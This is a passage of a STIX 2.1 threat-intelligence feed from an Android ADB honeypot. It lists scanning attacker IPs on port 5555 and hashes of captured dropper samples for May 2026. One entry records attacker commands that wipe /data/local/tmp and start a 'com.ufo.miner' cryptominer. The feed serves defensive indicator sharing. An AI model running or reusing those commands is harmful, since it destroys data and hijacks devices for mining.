      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'eefb634eb31119028eca996f87b0e4b3b00a2b2edfd6e205a2a275112341ddc4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5.raw; src_ip=119.247.97.228; src_ips=119.247.97.228; cc=HK; last_seen=2026-05-06T15:08:34.430Z; cmds=[rm -rf /data/local/tmp/* | ps | grep trinity | am start -n com.ufo.miner/com.example.test.MainActivity]",
      "id": "indicator--33008aef-0e5e-4d08-9fd6-f0885ae2c4bd",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T17:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-06T16:26:05.000Z | last_seen=2026-05-06T16:36:18.782Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5e15adf7-4fef-4657-9c7d-4bb4dbf5ab45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T17:00:01.000Z",
      "valid_until": "2026-06-07T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-06T16:26:05.000Z",
          "last_seen": "2026-05-06T16:36:18.782Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T19:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-06T18:23:56.000Z | last_seen=2026-05-06T18:25:06.005Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--c1738ff5-b026-415c-b66c-db8645276fb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T19:00:10.000Z",
      "valid_until": "2026-06-07T19:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-06T18:23:56.000Z",
          "last_seen": "2026-05-06T18:25:06.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-06T21:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-06T20:16:03.000Z | last_seen=2026-05-06T20:27:37.354Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:00:05.000Z",
      "valid_until": "2026-06-07T21:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-06T20:16:03.000Z",
          "last_seen": "2026-05-06T20:27:37.354Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-07T01:19:55.000Z | last_seen=2026-05-07T01:30:03.359Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T02:00:04.000Z",
      "valid_until": "2026-06-08T02:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-07T01:19:55.000Z",
          "last_seen": "2026-05-07T01:30:03.359Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=RS; asn=8400; asn_org=TELEKOM SRBIJA a.d.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-07T02:07:21.000Z | last_seen=2026-05-07T02:17:25.028Z | ports=5555 | cc=RS | asn=8400 | org=TELEKOM SRBIJA a.d.",
      "id": "indicator--b9c8ab2f-a5f9-47ff-a1ba-7678230fe333",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.220.57.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:00:03.000Z",
      "valid_until": "2026-06-08T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-07T02:07:21.000Z",
          "last_seen": "2026-05-07T02:17:25.028Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RS"
          ],
          "asn": [
            "8400"
          ],
          "org": [
            "TELEKOM SRBIJA a.d."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=330 | first_seen=2026-05-07T02:50:37.000Z | last_seen=2026-05-18T21:20:20.439Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:00:03.000Z",
      "valid_until": "2026-06-08T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 330,
          "first_seen": "2026-05-07T02:50:37.000Z",
          "last_seen": "2026-05-18T21:20:20.439Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T03:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5e30e4677b2b91eb0b57a646a14bd4fcbe8538967d44598347c7b157ee4f9115.raw; last_seen=2026-05-07T02:58:40.047Z",
      "id": "indicator--3553a2cc-4306-4ce3-ad8b-3af79e5ba747",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '5e30e4677b2b91eb0b57a646a14bd4fcbe8538967d44598347c7b157ee4f9115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T03:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7e45e9769cb7f1db7b20cd3a06d61a2977e8f31e9774e0a4a70e048384041f58.raw; last_seen=2026-05-07T02:58:38.841Z",
      "id": "indicator--300d0377-6760-4c22-8067-e95c95e805f5",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '7e45e9769cb7f1db7b20cd3a06d61a2977e8f31e9774e0a4a70e048384041f58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T03:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/f23ad05baffc1e5f13a87c8f800001c0b4b72a1c239aa2f77c3fe8c545402ea4.raw; last_seen=2026-05-07T02:58:37.638Z",
      "id": "indicator--311d868d-ae88-4d1a-93ff-d0ef8be770ba",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'f23ad05baffc1e5f13a87c8f800001c0b4b72a1c239aa2f77c3fe8c545402ea4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T03:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T05:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=40 | first_seen=2026-05-07T04:01:45.000Z | last_seen=2026-05-31T08:56:47.909Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:00:10.000Z",
      "valid_until": "2026-06-08T05:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 40,
          "first_seen": "2026-05-07T04:01:45.000Z",
          "last_seen": "2026-05-31T08:56:47.909Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T06:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-07T05:45:22.000Z | last_seen=2026-05-07T05:46:22.963Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--91bee81f-d6a7-4128-8f96-e88a337af777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:00:01.000Z",
      "valid_until": "2026-06-08T06:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-07T05:45:22.000Z",
          "last_seen": "2026-05-07T05:46:22.963Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T06:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-07T05:45:24.000Z | last_seen=2026-05-21T14:23:22.049Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--fb1ffcfc-e7c8-45da-bdc5-3e9d4a5989e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:00:01.000Z",
      "valid_until": "2026-06-08T06:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-07T05:45:24.000Z",
          "last_seen": "2026-05-21T14:23:22.049Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T06:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-07T05:38:40.000Z | last_seen=2026-05-07T05:39:48.847Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--3850d85a-008f-472f-9687-eb1443d99402",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.184.100.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:00:01.000Z",
      "valid_until": "2026-06-08T06:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-07T05:38:40.000Z",
          "last_seen": "2026-05-07T05:39:48.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-07T06:56:52.000Z | last_seen=2026-05-07T06:57:56.702Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--531312b2-78a0-45be-8e4a-91b67361a85b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '116.116.87.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:00:10.000Z",
      "valid_until": "2026-06-08T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-07T06:56:52.000Z",
          "last_seen": "2026-05-07T06:57:56.702Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-07T06:38:53.000Z | last_seen=2026-05-07T06:39:56.867Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--1a7e7261-56dd-4ca5-b9ea-e2939918034c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:00:10.000Z",
      "valid_until": "2026-06-08T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-07T06:38:53.000Z",
          "last_seen": "2026-05-07T06:39:56.867Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-07T11:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=400536; asn_org=Nodestop LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-07T10:51:12.000Z | last_seen=2026-05-10T04:56:38.064Z | ports=5555 | cc=US | asn=400536 | org=Nodestop LLC",
      "id": "indicator--5b40c96e-f2b5-4446-8918-3e26afac8693",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '108.165.95.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T11:00:09.000Z",
      "valid_until": "2026-06-08T11:00:09.000Z",
